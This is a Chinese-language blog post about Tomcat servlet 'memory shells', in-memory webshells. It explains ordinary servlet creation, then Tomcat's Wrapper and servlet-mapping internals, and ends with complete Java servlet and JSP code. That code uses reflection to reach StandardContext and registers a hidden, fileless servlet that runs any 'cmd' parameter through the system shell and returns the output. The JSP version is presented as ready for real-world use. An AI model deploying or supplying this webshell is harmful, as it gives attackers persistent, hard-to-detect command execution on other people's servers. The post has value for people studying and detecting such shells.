servlet内存马学习

项目配置
servlet内存马学习_第1张图片
servlet内存马学习_第2张图片
注意一定要添加
在这里插入图片描述
否则访问路径会404,tomcat并没有对项目生效

1.实现javax.servlet.Servlet接口的方式

Servlet.class:

package org.test;

import javax.servlet.*;
import java.io.IOException;

public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
        System.out.println("init");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>demo1</servlet-name>
        <servlet-class>org.test.ServletTest</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>demo1</servlet-name>
        <url-pattern>/demo1</url-pattern>
    </servlet-mapping>
</web-app>

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servlet_ncm</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.43</version>
        </dependency>

    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>

效果:
启动后,访问url,可以看到成功输出init和service
servlet内存马学习_第3张图片
停止后,可以看到输出destroy
servlet内存马学习_第4张图片
注解的方式:

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/demo1")
public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
        System.out.println("init");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

servlet内存马学习_第5张图片

2.继承GenericServlet类创建Servlet

以下全是注解形式来看

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/demo2")
public class ServletTest extends GenericServlet{
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }
}

servlet内存马学习_第6张图片

3.继承了HttpServlet进行创建

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/demo3")
public class ServletTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doGet...");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doPost...");
        doGet(req,resp);
    }
}

servlet内存马学习_第7张图片
其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装罢了。
servlet内存马学习_第8张图片
由上图可知:
1.GenericServlet 是实现了 Servlet 接口的抽象类。
2.HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
3.Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
调试javax.servlet.Servlet接口的方法触发对应Servlet的service方法
查看其调用栈
servlet内存马学习_第9张图片
可以看到红框中是其调用栈

分析内存马注入的地方
javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法
首先找createServlet
servlet内存马学习_第10张图片
然后看其实现处
org.apache.catalina.core.ApplicationContextFacade
servlet内存马学习_第11张图片
然后我们来看看addServlet
servlet内存马学习_第12张图片
可以看到有三个重载方法,返回均为ServletRegistration.Dynamic类型
他在Tomcat容器中的实现
servlet内存马学习_第13张图片

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,
        Servlet servlet, Map<String,String> initParams) throws IllegalStateException {

    if (servletName == null || servletName.equals("")) {
        throw new IllegalArgumentException(sm.getString(
                "applicationContext.invalidServletName", servletName));
    }

    if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
        //TODO Spec breaking enhancement to ignore this restriction
        throw new IllegalStateException(
                sm.getString("applicationContext.addServlet.ise",
                        getContextPath()));
    }

    Wrapper wrapper = (Wrapper) context.findChild(servletName);

    // Assume a 'complete' ServletRegistration is one that has a class and
    // a name
    if (wrapper == null) {
        wrapper = context.createWrapper();
        wrapper.setName(servletName);
        context.addChild(wrapper);
    } else {
        if (wrapper.getName() != null &&
                wrapper.getServletClass() != null) {
            if (wrapper.isOverridable()) {
                wrapper.setOverridable(false);
            } else {
                return null;
            }
        }
    }

    ServletSecurity annotation = null;
    if (servlet == null) {
        wrapper.setServletClass(servletClass);
        Class<?> clazz = Introspection.loadClass(context, servletClass);
        if (clazz != null) {
            annotation = clazz.getAnnotation(ServletSecurity.class);
        }
    } else {
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        if (context.wasCreatedDynamicServlet(servlet)) {
            annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
        }
    }

    if (initParams != null) {
        for (Map.Entry<String, String> initParam: initParams.entrySet()) {
            wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
        }
    }

    ServletRegistration.Dynamic registration =
            new ApplicationServletRegistration(wrapper, context);
    if (annotation != null) {
        registration.setServletSecurity(new ServletSecurityElement(annotation));
    }
    return registration;
}

来解读这一段代码
1.首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
2.之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象
3.如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去
4.如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
5.之后如果存在初始化参数的时候,将进行初始化操作
6.最后创建了一个ApplicationServletRegistration类,通过带入wrapper和context
也就是程序在运行过程中不能添加Servlet的限制,那么如何绕过呢?
servlet内存马学习_第14张图片
进入ApplicationServletRegistration#addMapping方法
servlet内存马学习_第15张图片
通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。
servlet内存马学习_第16张图片
可以看到wrapper是findChild(name)获得的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了。
1.首先创建一个自定义的Servlet类
2.对Wrapper进行封装
3.再将封装之后的wrapper添加进入StandardContext类中的children中去
4.最后通过调用addServletMappingDecoded方法添加url映射

内存马编写:

package org.test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/test")
public class servlet_ncm extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //从req中获取ServletContext对象
        String name = "RoboTerh";
        ServletContext servletContext = req.getServletContext();
        if (servletContext.getServletRegistration(name) == null) {
            StandardContext o = null;

            // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
            while (o == null) {
                Field f = null;
                try {
                    f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);
                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                } catch (NoSuchFieldException e) {
                    throw new RuntimeException(e);
                } catch (IllegalAccessException e) {
                    throw new RuntimeException(e);
                }


            }


            //1.创建自定义servlet
            Servlet servlet = new Servlet() {

                @Override
                public void init(ServletConfig config) throws ServletException {

                }

                @Override
                public ServletConfig getServletConfig() {
                    return null;
                }

                @Override
                public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
                    String cmd = req.getParameter("cmd");
                    boolean islinux = true;
                    String osType = System.getProperty("os.name");
                    if (osType != null && osType.toLowerCase().contains("win")) {
                        islinux = false;
                    }
                    String[] cmds = islinux ? new String[]{"/bin/bash", "-c", cmd} : new String[]{"cmd.exe", "-c", cmd};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a"); //Scanner类,这是一个用于扫描输入文本的新的实用程序,useDelimiter( )方法,可以将分隔符号修改为"回车",或者其他字符。
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = res.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }

                @Override
                public String getServletInfo() {
                    return null;
                }

                @Override
                public void destroy() {

                }
            };
            //2.对Wrapper进行封装
            Wrapper wrapper = o.createWrapper();
            wrapper.setName(name);
            wrapper.setLoadOnStartup(1);
            wrapper.setServlet(servlet);

            //3.将封装之后的wrapper添加进入StandardContext类中的children中去
            o.addChild(wrapper);

            //4.用addServletMappingDecoded方法添加url映射
            o.addServletMappingDecoded("/hhh",name);

            PrintWriter printWriter = resp.getWriter();
            printWriter.println("servlet added");

        }
    }
}

效果:
servlet内存马学习_第17张图片

servlet内存马学习_第18张图片
自己写的出点问题,用原作者的吧

package org.test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/test2")
public class servlet_ncm2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String name = "RoboTerh";
            //从req中获取ServletContext对象
            ServletContext servletContext = req.getServletContext();
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {

                    }

                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }

                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }

                    @Override
                    public String getServletInfo() {
                        return null;
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/hhh2", name);

                PrintWriter printWriter = resp.getWriter();
                printWriter.println("servlet added");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
servlet内存马学习_第19张图片
servlet内存马学习_第20张图片
可以看到内存马成功执行

为了实战方便,写到jsp中,这里将获得StandardContext换了写法,更加方便

<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="sun.invoke.util.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%

  Servlet servlet = new Servlet() {
  @Override
  public void init(ServletConfig servletConfig) throws ServletException {

  }

  @Override
  public ServletConfig getServletConfig() {
    return null;
  }

  @Override
  public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
    String cmd = servletRequest.getParameter("cmd");
    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
      isLinux = false;
  }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    PrintWriter out = servletResponse.getWriter();
    out.println(output);
    out.flush();
    out.close();
  }

  @Override
  public String getServletInfo() {
  return null;
  }

  @Override
  public void destroy() {

  }
  };
%>
<%
  //用Wrapper封装servlet
  String name = "aaa";
  org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  StandardContext o = (StandardContext)webappClassLoaderBase.getResources().getContext();
  org.apache.catalina.Wrapper newWrapper = o.createWrapper();
  newWrapper.setName(name);
  newWrapper.setLoadOnStartup(1);
  newWrapper.setServlet(servlet);

  //向children中添加Wrapper
  o.addChild(newWrapper);
  //添加servlet的映射
  o.addServletMappingDecoded("/hhh3", name);

  %>

效果:
servlet内存马学习_第21张图片
可以看到没有,那么先来加载jsp文件
servlet内存马学习_第22张图片
再访问内存马
servlet内存马学习_第23张图片
成功访问到内存马

你可能感兴趣的:(JAVA,servlet,web安全,java)